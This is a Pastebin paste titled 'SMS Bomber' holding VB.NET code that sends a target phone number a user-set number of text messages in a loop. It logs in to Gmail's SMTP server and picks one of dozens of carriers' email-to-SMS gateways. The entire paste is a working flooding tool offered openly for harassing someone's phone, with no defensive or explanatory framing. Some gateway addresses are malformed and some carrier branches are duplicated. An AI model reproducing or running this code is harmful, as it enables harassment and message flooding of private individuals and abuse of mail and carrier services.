API tools faq
paste
HeavenHU

[VB.NET] SMS Bomber

HeavenHU
Aug 14th, 2015
554
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 23.19 KB | None | 0 0
raw download clone embed print report diff
  1. Dim num As Integer = 0
  2.         For intLoopIndex = 0 To Convert.ToInt32(TextBox5.Text)
  3.             Dim mail As New MailMessage()
  4.             Dim SmtpServer As New SmtpClient
  5.             SmtpServer.Credentials = New Net.NetworkCredential(TextBox3.Text, TextBox4.Text) ' I've added the option to add your own email credentials via textboxes, although you can just add them here, and you don't have to enter it later. Whatever you wish.
  6.             SmtpServer.Port = 587
  7.             SmtpServer.Host = "smtp.gmail.com" 'Google mail's smtp server, you can change it over to hotmail, or whatever the hell you want, Google is one of the more commonly known ones.
  8.             SmtpServer.EnableSsl = True
  9.             If ComboBox1.SelectedItem = "AT&T" Then
  10.                 mail.To.Add(TextBox1.Text + "@txt.att.net")
  11.                 mail.From = New MailAddress(TextBox3.Text)
  12.                 mail.Subject = TextBox2.Text
  13.                 mail.Body = RichTextBox1.Text
  14.                 SmtpServer.Send(mail)
  15.             ElseIf ComboBox1.SelectedItem = "Movistar" Then
  16.                 mail.To.Add(TextBox1.Text + "@movistar.com.co")
  17.                 mail.From = New MailAddress(TextBox3.Text)
  18.                 mail.Subject = TextBox2.Text
  19.                 mail.Body = RichTextBox1.Text
  20.                 SmtpServer.Send(mail)
  21.             ElseIf ComboBox1.SelectedItem = "MTN" Then
  22.                 mail.To.Add(TextBox1.Text + "@sms.co.za")
  23.                 mail.From = New MailAddress(TextBox3.Text)
  24.                 mail.Subject = TextBox2.Text
  25.                 mail.Body = RichTextBox1.Text
  26.                 SmtpServer.Send(mail)
  27.             ElseIf ComboBox1.SelectedItem = "MTS" Then
  28.                 mail.To.Add(TextBox1.Text + "@text.mtsmobility.com")
  29.                 mail.From = New MailAddress(TextBox3.Text)
  30.                 mail.Subject = TextBox2.Text
  31.                 mail.Body = RichTextBox1.Text
  32.                 SmtpServer.Send(mail)
  33.             ElseIf ComboBox1.SelectedItem = "Nextel (United States)" Then
  34.                 mail.To.Add(TextBox1.Text + "@messaging.nextel.com")
  35.                 mail.From = New MailAddress(TextBox3.Text)
  36.                 mail.Subject = TextBox2.Text
  37.                 mail.Body = RichTextBox1.Text
  38.                 SmtpServer.Send(mail)
  39.             ElseIf ComboBox1.SelectedItem = "Nextel (Argentina)" Then
  40.                 mail.To.Add(TextBox1.Text + "@nextel.net.ar")
  41.                 mail.From = New MailAddress(TextBox3.Text)
  42.                 mail.Subject = TextBox2.Text
  43.                 mail.Body = RichTextBox1.Text
  44.                 SmtpServer.Send(mail)
  45.             ElseIf ComboBox1.SelectedItem = "Orange Polska" Then
  46.                 mail.To.Add(TextBox1.Text + "@orange.pl")
  47.                 mail.From = New MailAddress(TextBox3.Text)
  48.                 mail.Subject = TextBox2.Text
  49.                 mail.Body = RichTextBox1.Text
  50.                 SmtpServer.Send(mail)
  51.             ElseIf ComboBox1.SelectedItem = "Personal" Then
  52.                 mail.To.Add(TextBox1.Text + "@alertas.personal.com.ar")
  53.                 mail.From = New MailAddress(TextBox3.Text)
  54.                 mail.Subject = TextBox2.Text
  55.                 mail.Body = RichTextBox1.Text
  56.                 SmtpServer.Send(mail)
  57.             ElseIf ComboBox1.SelectedItem = "Plus GSM" Then
  58.                 mail.To.Add(TextBox1.Text + "@text.plusgsm.pl")
  59.                 mail.From = New MailAddress(TextBox3.Text)
  60.                 mail.Subject = TextBox2.Text
  61.                 mail.Body = RichTextBox1.Text
  62.                 SmtpServer.Send(mail)
  63.             ElseIf ComboBox1.SelectedItem = "President’s Choice" Then
  64.                 mail.To.Add(TextBox1.Text + "@txt.bell.ca")
  65.                 mail.From = New MailAddress(TextBox3.Text)
  66.                 mail.Subject = TextBox2.Text
  67.                 mail.Body = RichTextBox1.Text
  68.                 SmtpServer.Send(mail)
  69.             ElseIf ComboBox1.SelectedItem = "Qwest" Then
  70.                 mail.To.Add(TextBox1.Text + "@qwestmp.com")
  71.                 mail.From = New MailAddress(TextBox3.Text)
  72.                 mail.Subject = TextBox2.Text
  73.                 mail.Body = RichTextBox1.Text
  74.                 SmtpServer.Send(mail)
  75.             ElseIf ComboBox1.SelectedItem = "Rogers" Then
  76.                 mail.To.Add(TextBox1.Text + "@pcs.rogers.com")
  77.                 mail.From = New MailAddress(TextBox3.Text)
  78.                 mail.Subject = TextBox2.Text
  79.                 mail.Body = RichTextBox1.Text
  80.                 SmtpServer.Send(mail)
  81.             ElseIf ComboBox1.SelectedItem = "SL Interactive" Then
  82.                 mail.To.Add(TextBox1.Text + "@slinteractive.com.au")
  83.                 mail.From = New MailAddress(TextBox3.Text)
  84.                 mail.Subject = TextBox2.Text
  85.                 mail.Body = RichTextBox1.Text
  86.                 SmtpServer.Send(mail)
  87.             ElseIf ComboBox1.SelectedItem = "Sasktel" Then
  88.                 mail.To.Add(TextBox1.Text + "@sms.sasktel.com")
  89.                 mail.From = New MailAddress(TextBox3.Text)
  90.                 mail.Subject = TextBox2.Text
  91.                 mail.Body = RichTextBox1.Text
  92.                 SmtpServer.Send(mail)
  93.             ElseIf ComboBox1.SelectedItem = "Setar Mobile email (Aruba)" Then
  94.                 mail.To.Add(TextBox1.Text + "@mas.aw")
  95.                 mail.From = New MailAddress(TextBox3.Text)
  96.                 mail.Subject = TextBox2.Text
  97.                 mail.Body = RichTextBox1.Text
  98.                 SmtpServer.Send(mail)
  99.             ElseIf ComboBox1.SelectedItem = "Suncom" Then
  100.                 mail.To.Add(TextBox1.Text + "@tms.suncom.com")
  101.                 mail.From = New MailAddress(TextBox3.Text)
  102.                 mail.Subject = TextBox2.Text
  103.                 mail.Body = RichTextBox1.Text
  104.                 SmtpServer.Send(mail)
  105.             ElseIf ComboBox1.SelectedItem = "T-Mobile (Austria)" Then
  106.                 mail.To.Add(TextBox1.Text + "@sms.t-mobile.at")
  107.                 mail.From = New MailAddress(TextBox3.Text)
  108.                 mail.Subject = TextBox2.Text
  109.                 mail.Body = RichTextBox1.Text
  110.                 SmtpServer.Send(mail)
  111.             ElseIf ComboBox1.SelectedItem = "T-Mobile (UK)" Then
  112.                 mail.To.Add(TextBox1.Text + "@t-mobile.uk.net")
  113.                 mail.From = New MailAddress(TextBox3.Text)
  114.                 mail.Subject = TextBox2.Text
  115.                 mail.Body = RichTextBox1.Text
  116.                 SmtpServer.Send(mail)
  117.             ElseIf ComboBox1.SelectedItem = "Telus Mobility" Then
  118.                 mail.To.Add(TextBox1.Text + "@msg.telus.com")
  119.                 mail.From = New MailAddress(TextBox3.Text)
  120.                 mail.Subject = TextBox2.Text
  121.                 mail.Body = RichTextBox1.Text
  122.                 SmtpServer.Send(mail)
  123.             ElseIf ComboBox1.SelectedItem = "Thumb Cellular" Then
  124.                 mail.To.Add(TextBox1.Text + "@sms.thumbcellular.com")
  125.                 mail.From = New MailAddress(TextBox3.Text)
  126.                 mail.Subject = TextBox2.Text
  127.                 mail.Body = RichTextBox1.Text
  128.                 SmtpServer.Send(mail)
  129.             ElseIf ComboBox1.SelectedItem = "Tigo (Formerly Ola)" Then
  130.                 mail.To.Add(TextBox1.Text + "@sms.tigo.com.co")
  131.                 mail.From = New MailAddress(TextBox3.Text)
  132.                 mail.Subject = TextBox2.Text
  133.                 mail.Body = RichTextBox1.Text
  134.                 SmtpServer.Send(mail)
  135.             ElseIf ComboBox1.SelectedItem = "Tracfone (prepaid)" Then
  136.                 mail.To.Add(TextBox1.Text + "@mmst5.tracfone.com")
  137.                 mail.From = New MailAddress(TextBox3.Text)
  138.                 mail.Subject = TextBox2.Text
  139.                 mail.Body = RichTextBox1.Text
  140.                 SmtpServer.Send(mail)
  141.             ElseIf ComboBox1.SelectedItem = "Unicel" Then
  142.                 mail.To.Add(TextBox1.Text + "@utext.com")
  143.                 mail.From = New MailAddress(TextBox3.Text)
  144.                 mail.Subject = TextBox2.Text
  145.                 mail.Body = RichTextBox1.Text
  146.                 SmtpServer.Send(mail)
  147.             ElseIf ComboBox1.SelectedItem = "Virgin Mobile (Canada)" Then
  148.                 mail.To.Add(TextBox1.Text + "@vmobile.ca")
  149.                 mail.From = New MailAddress(TextBox3.Text)
  150.                 mail.Subject = TextBox2.Text
  151.                 mail.Body = RichTextBox1.Text
  152.                 SmtpServer.Send(mail)
  153.             ElseIf ComboBox1.SelectedItem = "Vodacom (South Africa)" Then
  154.                 mail.To.Add(TextBox1.Text + "@voda.co.za")
  155.                 mail.From = New MailAddress(TextBox3.Text)
  156.                 mail.Subject = TextBox2.Text
  157.                 mail.Body = RichTextBox1.Text
  158.                 SmtpServer.Send(mail)
  159.             ElseIf ComboBox1.SelectedItem = "Vodafone (Italy)" Then
  160.                 mail.To.Add(TextBox1.Text + "@sms.vodafone.it")
  161.                 mail.From = New MailAddress(TextBox3.Text)
  162.                 mail.Subject = TextBox2.Text
  163.                 mail.Body = RichTextBox1.Text
  164.                 SmtpServer.Send(mail)
  165.             ElseIf ComboBox1.SelectedItem = "YCC" Then
  166.                 mail.To.Add(TextBox1.Text + "@sms.ycc.ru")
  167.                 mail.From = New MailAddress(TextBox3.Text)
  168.                 mail.Subject = TextBox2.Text
  169.                 mail.Body = RichTextBox1.Text
  170.                 SmtpServer.Send(mail)
  171.             ElseIf ComboBox1.SelectedItem = "MobiPCS (Hawaii only)" Then
  172.                 mail.To.Add(TextBox1.Text + "@mobipcs.net")
  173.                 mail.From = New MailAddress(TextBox3.Text)
  174.                 mail.Subject = TextBox2.Text
  175.                 mail.Body = RichTextBox1.Text
  176.                 SmtpServer.Send(mail)
  177.             ElseIf ComboBox1.SelectedItem = "Claro (Brasil)" Then
  178.                 mail.To.Add(TextBox1.Text + "@clarotorpedo.com.br")
  179.                 mail.From = New MailAddress(TextBox3.Text)
  180.                 mail.Subject = TextBox2.Text
  181.                 mail.Body = RichTextBox1.Text
  182.                 SmtpServer.Send(mail)
  183.             ElseIf ComboBox1.SelectedItem = "Claro (Nicaragua)" Then
  184.                 mail.To.Add(TextBox1.Text + "@ideasclaro-ca.com")
  185.                 mail.From = New MailAddress(TextBox3.Text)
  186.                 mail.Subject = TextBox2.Text
  187.                 mail.Body = RichTextBox1.Text
  188.                 SmtpServer.Send(mail)
  189.             ElseIf ComboBox1.SelectedItem = "Comcel" Then
  190.                 mail.To.Add(TextBox1.Text + "@comcel.com.co")
  191.                 mail.From = New MailAddress(TextBox3.Text)
  192.                 mail.Subject = TextBox2.Text
  193.                 mail.Body = RichTextBox1.Text
  194.                 SmtpServer.Send(mail)
  195.             ElseIf ComboBox1.SelectedItem = "Cricket" Then
  196.                 mail.To.Add(TextBox1.Text + "@sms.mycricket.com (SMS)")
  197.                 mail.From = New MailAddress(TextBox3.Text)
  198.                 mail.Subject = TextBox2.Text
  199.                 mail.Body = RichTextBox1.Text
  200.                 SmtpServer.Send(mail)
  201.             ElseIf ComboBox1.SelectedItem = "Cricket" Then
  202.                 mail.To.Add(TextBox1.Text + "@sms.mycricket.com")
  203.                 mail.From = New MailAddress(TextBox3.Text)
  204.                 mail.Subject = TextBox2.Text
  205.                 mail.Body = RichTextBox1.Text
  206.                 SmtpServer.Send(mail)
  207.             ElseIf ComboBox1.SelectedItem = "Globalstar (satellite)" Then
  208.                 mail.To.Add(TextBox1.Text + "@msg.globalstarusa.com")
  209.                 mail.From = New MailAddress(TextBox3.Text)
  210.                 mail.Subject = TextBox2.Text
  211.                 mail.Body = RichTextBox1.Text
  212.                 SmtpServer.Send(mail)
  213.             ElseIf ComboBox1.SelectedItem = "Helio" Then
  214.                 mail.To.Add(TextBox1.Text + "@messaging.sprintpcs.com")
  215.                 mail.From = New MailAddress(TextBox3.Text)
  216.                 mail.Subject = TextBox2.Text
  217.                 mail.Body = RichTextBox1.Text
  218.                 SmtpServer.Send(mail)
  219.             ElseIf ComboBox1.SelectedItem = "Illinois Valley Cellular" Then
  220.                 mail.To.Add(TextBox1.Text + "@ivctext.com")
  221.                 mail.From = New MailAddress(TextBox3.Text)
  222.                 mail.Subject = TextBox2.Text
  223.                 mail.Body = RichTextBox1.Text
  224.                 SmtpServer.Send(mail)
  225.             ElseIf ComboBox1.SelectedItem = "Iridium (satellite)" Then
  226.                 mail.To.Add(TextBox1.Text + "@msg.iridium.com")
  227.                 mail.From = New MailAddress(TextBox3.Text)
  228.                 mail.Subject = TextBox2.Text
  229.                 mail.Body = RichTextBox1.Text
  230.                 SmtpServer.Send(mail)
  231.             ElseIf ComboBox1.SelectedItem = "Iusacell" Then
  232.                 mail.To.Add(TextBox1.Text + "@rek2.com.mx")
  233.                 mail.From = New MailAddress(TextBox3.Text)
  234.                 mail.Subject = TextBox2.Text
  235.                 mail.Body = RichTextBox1.Text
  236.                 SmtpServer.Send(mail)
  237.             ElseIf ComboBox1.SelectedItem = "i wireless" Then
  238.                 mail.To.Add(TextBox1.Text + "@iwspcs.net")
  239.                 mail.From = New MailAddress(TextBox3.Text)
  240.                 mail.Subject = TextBox2.Text
  241.                 mail.Body = RichTextBox1.Text
  242.                 SmtpServer.Send(mail)
  243.             ElseIf ComboBox1.SelectedItem = "Koodo Mobile" Then
  244.                 mail.To.Add(TextBox1.Text + "@msg.koodomobile.com")
  245.                 mail.From = New MailAddress(TextBox3.Text)
  246.                 mail.Subject = TextBox2.Text
  247.                 mail.Body = RichTextBox1.Text
  248.                 SmtpServer.Send(mail)
  249.             ElseIf ComboBox1.SelectedItem = "Airtel (Karnataka, India)" Then
  250.                 mail.To.Add(TextBox1.Text + "@airtelkk.com")
  251.                 mail.From = New MailAddress(TextBox3.Text)
  252.                 mail.Subject = TextBox2.Text
  253.                 mail.Body = RichTextBox1.Text
  254.                 SmtpServer.Send(mail)
  255.             ElseIf ComboBox1.SelectedItem = "Airtel Wireless (Montana, USA)" Then
  256.                 mail.To.Add(TextBox1.Text + "@sms.airtelmontana.com")
  257.                 mail.From = New MailAddress(TextBox3.Text)
  258.                 mail.Subject = TextBox2.Text
  259.                 mail.Body = RichTextBox1.Text
  260.                 SmtpServer.Send(mail)
  261.             ElseIf ComboBox1.SelectedItem = "CTI" Then
  262.                 mail.To.Add(TextBox1.Text + "@sms.ctimovil.com.ar")
  263.                 mail.From = New MailAddress(TextBox3.Text)
  264.                 mail.Subject = TextBox2.Text
  265.                 mail.Body = RichTextBox1.Text
  266.                 SmtpServer.Send(mail)
  267.             ElseIf ComboBox1.SelectedItem = "Emtel" Then
  268.                 mail.To.Add(TextBox1.Text + "@emtelworld.net")
  269.                 mail.From = New MailAddress(TextBox3.Text)
  270.                 mail.Subject = TextBox2.Text
  271.                 mail.Body = RichTextBox1.Text
  272.                 SmtpServer.Send(mail)
  273.             ElseIf ComboBox1.SelectedItem = "Fido" Then
  274.                 mail.To.Add(TextBox1.Text + "@fido.ca")
  275.                 mail.From = New MailAddress(TextBox3.Text)
  276.                 mail.Subject = TextBox2.Text
  277.                 mail.Body = RichTextBox1.Text
  278.                 SmtpServer.Send(mail)
  279.             ElseIf ComboBox1.SelectedItem = "General Communications Inc." Then
  280.                 mail.To.Add(TextBox1.Text + "@msg.gci.net")
  281.                 mail.From = New MailAddress(TextBox3.Text)
  282.                 mail.Subject = TextBox2.Text
  283.                 mail.Body = RichTextBox1.Text
  284.                 SmtpServer.Send(mail)
  285.             ElseIf ComboBox1.SelectedItem = "Bell Mobility & Solo Mobile" Then
  286.                 mail.To.Add(TextBox1.Text + "@txt.bell.ca")
  287.                 mail.From = New MailAddress(TextBox3.Text)
  288.                 mail.Subject = TextBox2.Text
  289.                 mail.Body = RichTextBox1.Text
  290.                 SmtpServer.Send(mail)
  291.             ElseIf ComboBox1.SelectedItem = "BPL Mobile" Then
  292.                 mail.To.Add(TextBox1.Text + "@bplmobile.com")
  293.                 mail.From = New MailAddress(TextBox3.Text)
  294.                 mail.Subject = TextBox2.Text
  295.                 mail.Body = RichTextBox1.Text
  296.                 SmtpServer.Send(mail)
  297.             ElseIf ComboBox1.SelectedItem = "Cellular One" Then
  298.                 mail.To.Add(TextBox1.Text + "@mobile.celloneusa.com")
  299.                 mail.From = New MailAddress(TextBox3.Text)
  300.                 mail.Subject = TextBox2.Text
  301.                 mail.Body = RichTextBox1.Text
  302.                 SmtpServer.Send(mail)
  303.             ElseIf ComboBox1.SelectedItem = "Cingular (Postpaid)" Then
  304.                 mail.To.Add(TextBox1.Text + "@cingularme.com")
  305.                 mail.From = New MailAddress(TextBox3.Text)
  306.                 mail.Subject = TextBox2.Text
  307.                 mail.Body = RichTextBox1.Text
  308.                 SmtpServer.Send(mail)
  309.             ElseIf ComboBox1.SelectedItem = "Centennial Wireless" Then
  310.                 mail.To.Add(TextBox1.Text + "@cwemail.com")
  311.                 mail.From = New MailAddress(TextBox3.Text)
  312.                 mail.Subject = TextBox2.Text
  313.                 mail.Body = RichTextBox1.Text
  314.                 SmtpServer.Send(mail)
  315.             ElseIf ComboBox1.SelectedItem = "Cingular (GoPhone prepaid)" Then
  316.                 mail.To.Add(TextBox1.Text + "@cingularme.com (SMS)")
  317.                 mail.From = New MailAddress(TextBox3.Text)
  318.                 mail.Subject = TextBox2.Text
  319.                 mail.Body = RichTextBox1.Text
  320.                 SmtpServer.Send(mail)
  321.             ElseIf ComboBox1.SelectedItem = "Cingular (GoPhone prepaid)" Then
  322.                 mail.To.Add(TextBox1.Text + "@cingularme.com")
  323.                 mail.From = New MailAddress(TextBox3.Text)
  324.                 mail.Subject = TextBox2.Text
  325.                 mail.Body = RichTextBox1.Text
  326.                 SmtpServer.Send(mail)
  327.             ElseIf ComboBox1.SelectedItem = "Alaska Communications Systems" Then
  328.                 mail.To.Add(TextBox1.Text + "@msg.acsalaska.com")
  329.                 mail.From = New MailAddress(TextBox3.Text)
  330.                 mail.Subject = TextBox2.Text
  331.                 mail.Body = RichTextBox1.Text
  332.                 SmtpServer.Send(mail)
  333.             ElseIf ComboBox1.SelectedItem = "Aql" Then
  334.                 mail.To.Add(TextBox1.Text + "@text.aql.com")
  335.                 mail.From = New MailAddress(TextBox3.Text)
  336.                 mail.Subject = TextBox2.Text
  337.                 mail.Body = RichTextBox1.Text
  338.                 SmtpServer.Send(mail)
  339.             ElseIf ComboBox1.SelectedItem = "AT&T Enterprise Paging" Then
  340.                 mail.To.Add(TextBox1.Text + "@page.att.net")
  341.                 mail.From = New MailAddress(TextBox3.Text)
  342.                 mail.Subject = TextBox2.Text
  343.                 mail.Body = RichTextBox1.Text
  344.                 SmtpServer.Send(mail)
  345.             ElseIf ComboBox1.SelectedItem = "BigRedGiant Mobile Solutions" Then
  346.                 mail.To.Add(TextBox1.Text + "@tachyonsms.co.uk")
  347.                 mail.From = New MailAddress(TextBox3.Text)
  348.                 mail.Subject = TextBox2.Text
  349.                 mail.Body = RichTextBox1.Text
  350.                 SmtpServer.Send(mail)
  351.             ElseIf ComboBox1.SelectedItem = "T-Mobile USA" Then
  352.                 mail.To.Add(TextBox1.Text + "@tmomail.net")
  353.                 mail.From = New MailAddress(TextBox3.Text)
  354.                 mail.Subject = TextBox2.Text
  355.                 mail.Body = RichTextBox1.Text
  356.                 SmtpServer.Send(mail)
  357.             ElseIf ComboBox1.SelectedItem = "Nextel" Then
  358.                 mail.To.Add(TextBox1.Text + "@messaging.nextel.com")
  359.                 mail.From = New MailAddress(TextBox3.Text)
  360.                 mail.Subject = TextBox2.Text
  361.                 mail.Body = RichTextBox1.Text
  362.                 SmtpServer.Send(mail)
  363.             ElseIf ComboBox1.SelectedItem = "Sprint PCS" Then
  364.                 mail.To.Add(TextBox1.Text + "@messaging.sprintpcs.com")
  365.                 mail.From = New MailAddress(TextBox3.Text)
  366.                 mail.Subject = TextBox2.Text
  367.                 mail.Body = RichTextBox1.Text
  368.                 SmtpServer.Send(mail)
  369.             ElseIf ComboBox1.SelectedItem = "T-Mobile (Germany)" Then
  370.                 mail.To.Add(TextBox1.Text + "@t-d1-sms.de")
  371.                 mail.From = New MailAddress(TextBox3.Text)
  372.                 mail.Subject = TextBox2.Text
  373.                 mail.Body = RichTextBox1.Text
  374.                 SmtpServer.Send(mail)
  375.             ElseIf ComboBox1.SelectedItem = "Verizon" Then
  376.                 mail.To.Add(TextBox1.Text + "@vtext.com")
  377.                 mail.From = New MailAddress(TextBox3.Text)
  378.                 mail.Subject = TextBox2.Text
  379.                 mail.Body = RichTextBox1.Text
  380.                 SmtpServer.Send(mail)
  381.             ElseIf ComboBox1.SelectedItem = "Boost (U.S)" Then
  382.                 mail.To.Add(TextBox1.Text + "@myboostmobile.com")
  383.                 mail.From = New MailAddress(TextBox3.Text)
  384.                 mail.Subject = TextBox2.Text
  385.                 mail.Body = RichTextBox1.Text
  386.                 SmtpServer.Send(mail)
  387.             ElseIf ComboBox1.SelectedItem = "Virgin Mobile (USA)" Then
  388.                 mail.To.Add(TextBox1.Text + "@vmobl.com")
  389.                 mail.From = New MailAddress(TextBox3.Text)
  390.                 mail.Subject = TextBox2.Text
  391.                 mail.Body = RichTextBox1.Text
  392.                 SmtpServer.Send(mail)
  393.             ElseIf ComboBox1.SelectedItem = "LMT" Then
  394.                 mail.To.Add(TextBox1.Text + "@sms.lmt.lv")
  395.                 mail.From = New MailAddress(TextBox3.Text)
  396.                 mail.Subject = TextBox2.Text
  397.                 mail.Body = RichTextBox1.Text
  398.                 SmtpServer.Send(mail)
  399.             ElseIf ComboBox1.SelectedItem = "Meteor" Then
  400.                 mail.To.Add(TextBox1.Text + "@sms.mymeteor.ie")
  401.                 mail.From = New MailAddress(TextBox3.Text)
  402.                 mail.Subject = TextBox2.Text
  403.                 mail.Body = RichTextBox1.Text
  404.                 SmtpServer.Send(mail)
  405.             ElseIf ComboBox1.SelectedItem = "Mero Mobile" Then
  406.                 mail.To.Add(TextBox1.Text + "@sms.spicenepal.com")
  407.                 mail.From = New MailAddress(TextBox3.Text)
  408.                 mail.Subject = TextBox2.Text
  409.                 mail.Body = RichTextBox1.Text
  410.                 SmtpServer.Send(mail)
  411.             ElseIf ComboBox1.SelectedItem = "MetroPCS" Then
  412.                 mail.To.Add(TextBox1.Text + "@mymetropcs.com")
  413.                 mail.From = New MailAddress(TextBox3.Text)
  414.                 mail.Subject = TextBox2.Text
  415.                 mail.Body = RichTextBox1.Text
  416.                 SmtpServer.Send(mail)
  417.             ElseIf ComboBox1.SelectedItem = "Movicom" Then
  418.                 mail.To.Add(TextBox1.Text + "@sms.movistar.net.ar")
  419.                 mail.From = New MailAddress(TextBox3.Text)
  420.                 mail.Subject = TextBox2.Text
  421.                 mail.Body = RichTextBox1.Text
  422.                 SmtpServer.Send(mail)
  423.             ElseIf ComboBox1.SelectedItem = "Mobitel" Then
  424.                 mail.To.Add(TextBox1.Text + "@sms.mobitel.lk")
  425.                 mail.From = New MailAddress(TextBox3.Text)
  426.                 mail.Subject = TextBox2.Text
  427.                 mail.Body = RichTextBox1.Text
  428.                 SmtpServer.Send(mail)
  429.             ElseIf ComboBox1.SelectedItem = "7-11 Speakout" Then
  430.                 mail.To.Add(TextBox1.Text + "@cingularme.com")
  431.                 mail.From = New MailAddress(TextBox3.Text)
  432.                 mail.Subject = TextBox2.Text
  433.                 mail.Body = RichTextBox1.Text
  434.                 SmtpServer.Send(mail)
  435.             End If
  436.             num = num + 1
  437.             Label1.Text = num
  438.         Next intLoopIndex
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!